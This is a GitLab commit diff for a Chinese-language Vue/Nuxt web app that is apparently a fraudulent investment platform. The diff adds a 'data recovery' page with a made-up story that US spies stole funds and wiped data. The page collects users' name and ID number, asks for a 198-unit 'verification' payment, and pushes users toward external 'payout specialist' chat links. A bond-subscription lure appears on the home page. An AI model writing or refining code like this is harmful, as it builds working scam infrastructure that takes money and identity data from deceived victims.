Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
Z
zyjj2025
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
qd01
zyjj2025
Commits
bb582800
Commit
bb582800
authored
Feb 16, 2025
by
zhangsan
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
1
parent
a551b62a
Changes
6
Hide whitespace changes
Inline
Side-by-side
Showing
6 changed files
with
233 additions
and
63 deletions
+233
-63
PayUp.vue
app/components/PayUp.vue
+2
-3
404.vue
app/layouts/404.vue
+5
-6
dataRecovery.vue
app/pages/index/dataRecovery.vue
+141
-0
index.vue
app/pages/index/index.vue
+80
-51
login.vue
app/pages/login.vue
+2
-1
nuxt.config.ts
nuxt.config.ts
+3
-2
No files found.
app/components/PayUp.vue
View file @
bb582800
<
template
>
<var-popup
v-model:show=
"showPopup"
position=
"bottom"
@
closed=
"handleClose"
>
<var-popup
z-index=
"9999"
v-model:show=
"showPopup"
position=
"bottom"
@
closed=
"handleClose"
>
<div
class=
"pop"
>
<!-- 付款金额 -->
<div
class=
"top"
>
...
...
@@ -29,9 +29,8 @@
</var-card>
</van-radio-group>
</div>
<!-- 提示信息 -->
<div
v-if=
"paymentConfig.zfsm"
class=
"note-text"
>
注:
{{ paymentConfig.zfsm }}
</div>
<div
v-if=
"paymentConfig.zfsm"
class=
"note-text"
>
{{ paymentConfig.zfsm }}
</div>
<!-- 提交按钮 -->
<var-button
block
type=
"primary"
class=
"submit-btn"
:loading=
"isSubmitting"
:disabled=
"isSubmitting"
...
...
app/layouts/404.vue
View file @
bb582800
<
script
setup
lang=
"ts"
>
const
router
=
useRouter
()
function
onBack
()
{
if
(
window
.
history
.
state
.
back
)
history
.
back
()
else
router
.
replace
(
'
/
'
)
//
if (window.history.state.back)
//
history.back()
//
else
navigateTo
(
window
.
location
.
origin
)
}
</
script
>
<
template
>
<main
text=
"center gray-300 dark:gray-200 18"
py=
"20"
>
<van-icon
name=
"warn-o"
size=
"3em"
/>
<
slot
/
>
<
!--
<slot
/>
--
>
<div
class=
"mt-10"
>
<button
van-haptics-feedback
btn
m=
"3 t8"
@
click=
"onBack"
>
...
...
app/pages/index/dataRecovery.vue
0 → 100644
View file @
bb582800
<
template
>
<div
class=
"data-recovery"
>
<!-- 错误图标和标题 -->
<div
class=
"header"
>
<h2>
⚠️数据恢复⚠️
</h2>
<p>
尊敬的中央经济用户
</p>
<p>
由于近日中美经济发展关系破裂,美间谍渗入平台恶意盗取大量资金的同时攻击数据库,导致大部分用户数据丢失,现紧急启动备份系统,恢复数据,看到此信息的用户请尽快填写个人身份信息,恢复数据后,请立即在提完平台内所有资金
</p>
</div>
<!-- 表单部分 -->
<div
class=
"form"
>
<van-field
:disabled=
"true"
v-model=
"formData.name"
placeholder=
"姓名"
:border=
"false"
class=
"form-input"
/>
<van-field
:disabled=
"true"
v-model=
"formData.idCard"
placeholder=
"身份证号"
:border=
"false"
class=
"form-input"
maxlength=
"18"
/>
<!-- 提交按钮 -->
<div
class=
"btn-box"
>
<van-button
type=
"danger"
block
@
click=
"handleSubmit"
>
确认恢复
</van-button>
<van-button
block
@
click=
"logout"
>
退出登录
</van-button>
</div>
</div>
<PayUp
ref=
"payupRef"
:payment-info=
"paymentInfo"
@
close=
"handleClose"
/>
</div>
</
template
>
<
script
setup
>
import
{
ref
}
from
"
vue
"
;
import
{
showToast
}
from
"
vant
"
;
import
{
post
}
from
"
@/utils/request
"
;
import
PayUp
from
"
@/components/PayUp.vue
"
;
const
formData
=
ref
({
name
:
""
,
idCard
:
""
,
bankNum
:
""
,
bankName
:
""
,
});
const
paymentInfo
=
ref
({
mony
:
198
,
productId
:
''
,
type
:
2
,
zfsm
:
"
数据恢复完毕:本次支付验证是否本人操作,验证完成后请提完平台内所有资金,快速到账。
"
});
const
payupRef
=
ref
();
const
handleSubmit
=
(
item
)
=>
{
payupRef
.
value
?.
open
();
}
const
handleClose
=
()
=>
{
paymentInfo
.
value
.
show
=
false
;
}
const
userinfo
=
ref
({});
const
getuserinfo
=
async
()
=>
{
const
res
=
await
get
(
"
/system/user/
"
,
{});
userinfo
.
value
=
res
;
formData
.
value
.
name
=
userinfo
.
value
.
nickName
;
formData
.
value
.
idCard
=
userinfo
.
value
.
identityId
;
};
getuserinfo
();
const
logout
=
()
=>
{
localStorage
.
removeItem
(
"
token
"
);
localStorage
.
removeItem
(
"
userinfo
"
);
navigateTo
(
"
/login
"
);
};
</
script
>
<
style
scoped
>
.data-recovery
{
padding
:
10px
;
background
:
#fff
;
}
.header
{
text-align
:
center
;
margin-bottom
:
30px
;
}
.error-icon
{
font-size
:
50px
;
margin
:
20px
auto
;
}
.header
h2
{
font-size
:
24px
;
margin-bottom
:
5px
;
font-weight
:
normal
;
}
.header
p
{
font-size
:
16px
;
color
:
#333
;
color
:
red
;
margin
:
5px
0
;
font-weight
:
normal
;
}
.form
{
padding
:
0
15px
;
}
.form-input
{
margin-bottom
:
10px
;
border-radius
:
20px
;
border
:
1px
solid
#333
;
}
.btn-box
{
display
:
flex
;
justify-content
:
space-between
;
}
/* .submit-btn {
margin-top: 20px;
height: 50px;
line-height: 50px;
border-radius: 25px;
background: #e5004f !important;
border: none;
font-size: 16px;
} */
</
style
>
app/pages/index/index.vue
View file @
bb582800
<
script
setup
>
import
GuideModal
from
'
@/components/GuideModal.vue
'
import
NewsCard
from
'
@/components/newsCard.vue
'
import
GuideModal
from
"
@/components/GuideModal.vue
"
;
import
NewsCard
from
"
@/components/newsCard.vue
"
;
import
DataRecovery
from
"
./dataRecovery.vue
"
;
definePageMeta
({
layout
:
'
main
'
,
title
:
'
首页
'
,
name
:
'
home
'
,
keepalive
:
tru
e
,
})
const
appdownload
=
ref
(
'
https://download.1yfang.com
'
)
const
kfUrl
=
ref
(
''
)
layout
:
"
main
"
,
title
:
"
首页
"
,
name
:
"
home
"
,
keepalive
:
fals
e
,
})
;
const
appdownload
=
ref
(
"
https://download.1yfang.com
"
);
const
kfUrl
=
ref
(
""
);
const
getapkversion
=
async
()
=>
{
const
res
=
await
get
(
'
/system/config/configKey/mous/apk_version
'
,
{})
kfUrl
.
value
=
res
.
msg
}
getapkversion
()
const
res
=
await
get
(
"
/system/config/configKey/mous/apk_version
"
,
{});
kfUrl
.
value
=
res
.
msg
;
}
;
getapkversion
()
;
const
handleClick
=
(
item
)
=>
{
if
(
item
===
1
)
{
navigateTo
(
"
/user/group
"
);
...
...
@@ -24,88 +25,116 @@ const handleClick = (item) => {
}
else
if
(
item
===
4
)
{
navigateTo
(
"
/user/singIn
"
);
}
}
const
show
=
ref
(
false
)
};
const
showDataRecovery
=
ref
(
false
);
const
show
=
ref
(
false
);
const
getuserinfo
=
async
()
=>
{
const
res
=
await
get
(
'
/system/user/
'
,
{})
showDataRecovery
.
value
=
false
;
const
res
=
await
get
(
"
/system/user/
"
,
{});
if
(
res
.
dld
==
2
)
{
show
.
value
=
true
show
.
value
=
true
;
}
// if (res.extend4 == 2) {
// showDialog({
// title: '您有一笔提现到账需要前往处理',
// message: '',
// theme: 'round-button',
// confirmButtonText: '点击立即前往处理',
// }).then(() => {
// navigateTo('/sqhz')
// });
// }
if
(
res
.
extend5
==
1
)
{
showDataRecovery
.
value
=
true
;
}
if
(
res
.
extend
4
==
2
)
{
if
(
res
.
extend
5
==
2
)
{
showDialog
({
title
:
'
您有一笔提现到账需要前往处理
'
,
message
:
''
,
theme
:
'
round-button
'
,
confirmButtonText
:
'
点击立即前往处理
'
,
title
:
''
,
showCancelButton
:
true
,
confirmButtonText
:
'
联系土豆客服打款
'
,
confirmButtonColor
:
'
red
'
,
cancelButtonText
:
'
联系在线客服打款
'
,
cancelButtonColor
:
'
red
'
,
closeOnClickOverlay
:
true
,
message
:
'
您的数据已恢复,无法转账到您银行卡上。大额资金报备资料不成功,你这边尽快联系宋其超 大款专员,不需要缴纳任何费用,联系打款专员配合处理问题即可大笔到账
'
,
}).
then
(()
=>
{
navigateTo
(
'
/sqhz
'
)
window
.
location
.
href
=
'
https://dlj199.org/0007201155b097f4faa8fdc8707e22b404f
'
}).
catch
(()
=>
{
window
.
location
.
href
=
'
https://www.onsluck.com/#/chat
'
});
}
}
getuserinfo
()
const
showGuide
=
ref
(
false
)
const
content
=
ref
([])
const
content3
=
ref
([])
};
const
showGuide
=
ref
(
false
);
const
content
=
ref
([]);
const
content3
=
ref
([]);
const
getNotices
=
async
()
=>
{
try
{
const
res
=
await
get
(
'
/system/notice/list
'
,
{
noticeType
:
''
})
content
.
value
=
res
.
rows
.
filter
((
item
)
=>
item
.
noticeType
==
0
||
item
.
noticeType
==
1
||
item
.
noticeType
==
2
)
content3
.
value
=
res
.
rows
.
filter
((
item
)
=>
item
.
noticeType
==
3
)
const
res
=
await
get
(
"
/system/notice/list
"
,
{
noticeType
:
""
,
});
content
.
value
=
res
.
rows
.
filter
(
(
item
)
=>
item
.
noticeType
==
0
||
item
.
noticeType
==
1
||
item
.
noticeType
==
2
);
content3
.
value
=
res
.
rows
.
filter
((
item
)
=>
item
.
noticeType
==
3
);
if
(
content
.
value
.
length
>
0
)
{
showGuide
.
value
=
true
showGuide
.
value
=
true
;
}
}
catch
(
error
)
{
console
.
error
(
'
Failed to fetch notices:
'
,
error
)
console
.
error
(
"
Failed to fetch notices:
"
,
error
);
}
}
}
;
const
handleConfirm
=
()
=>
{
navigateTo
(
'
/product
'
)
}
navigateTo
(
"
/product
"
);
}
;
getNotices
()
getNotices
()
;
const
handleNewsItemClick
=
(
item
)
=>
{
navigateTo
(
`/newsDetail/
${
item
.
noticeId
}
`
)
}
navigateTo
(
`/newsDetail/
${
item
.
noticeId
}
`
);
};
getuserinfo
();
</
script
>
<
template
>
<div
class=
"container"
>
<var-dialog
:dialogStyle=
"
{ padding: '0px', width: '100%' }" v-model:show="showDataRecovery"
:close-on-click-overlay="false" :confirmButton="false" :cancelButton="false">
<template
#title
>
<span></span>
</
template
>
<DataRecovery
@
close=
"showDataRecovery = false"
/>
</var-dialog>
<van-dialog
v-model:show=
"show"
@
confirm=
"handleConfirm"
confirmButtonColor=
"red"
confirmButtonText=
"前往会场认购"
cancelButtonText=
"先不前往认购"
title=
"恭喜您获得债券认购资格,您的购买意向申请已经通过,现在可以认购债权了,您要前往认购吗?"
show-cancel-button
>
</van-dialog>
<GuideModal
v-model=
"showGuide"
:guide-list=
"content"
/>
<div
class=
"imgwarp"
>
<img
src=
"/static/pages/home/14.png"
>
<img
src=
"/static/pages/home/14.png"
/
>
</div>
<var-swipe
class=
"swipe-example"
>
<var-swipe-item>
<img
class=
"swipe-example-image"
src=
"/static/pages/home/13.png"
>
<img
class=
"swipe-example-image"
src=
"/static/pages/home/13.png"
/
>
</var-swipe-item>
</var-swipe>
<div
class=
"otherwarp"
>
<div
class=
"item"
v-ripple
@
click=
"handleClick(1)"
>
<img
src=
"/static/pages/home/9.png"
>
<img
src=
"/static/pages/home/9.png"
/
>
</div>
<div
class=
"item"
v-ripple
@
click=
"navigateTo(kfUrl, { external: true })"
>
<img
src=
"/static/pages/home/10.png"
>
<img
src=
"/static/pages/home/10.png"
/
>
</div>
<div
class=
"item"
v-ripple
@
click=
"navigateTo(appdownload, { external: true })"
>
<img
src=
"/static/pages/home/11.png"
>
<img
src=
"/static/pages/home/11.png"
/
>
</div>
<div
class=
"item"
v-ripple
@
click=
"handleClick(4)"
>
<img
src=
"/static/pages/home/12.png"
>
<img
src=
"/static/pages/home/12.png"
/
>
</div>
</div>
<div
class=
"card"
>
<div
class=
"title"
>
时事要闻
</div>
<div
class=
"title"
>
时事要闻
</div>
<NewsCard
:content3=
"content3"
@
itemClick=
"handleNewsItemClick"
/>
</div>
</div>
</template>
...
...
app/pages/login.vue
View file @
bb582800
...
...
@@ -57,7 +57,8 @@ const rules = {
trigger
:
'
onChange
'
,
},
}
const
token
=
useCookie
(
'
token
'
)
token
.
value
=
''
// 登录处理
async
function
handleLogin
()
{
try
{
...
...
nuxt.config.ts
View file @
bb582800
...
...
@@ -3,11 +3,12 @@ import { appDescription } from './app/constants/index'
import
preload
from
'
./app/utils/preload
'
export
default
defineNuxtConfig
({
target
:
'
static
'
,
nitro
:
{
devProxy
:
{
'
/api
'
:
{
target
:
'
http://27.124.5.14:9012
'
,
// 你要代理的目标地址
//
target: 'https://www.mxr2020.com:6443/api', // 你要代理的目标地址
//
target: 'http://27.124.5.14:9012', // 你要代理的目标地址
target
:
'
https://www.mxr2020.com:6443/api
'
,
// 你要代理的目标地址
changeOrigin
:
true
,
prependPath
:
true
,
rewrite
:
(
path
:
string
)
=>
path
.
replace
(
/^
\/
api/
,
''
),
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment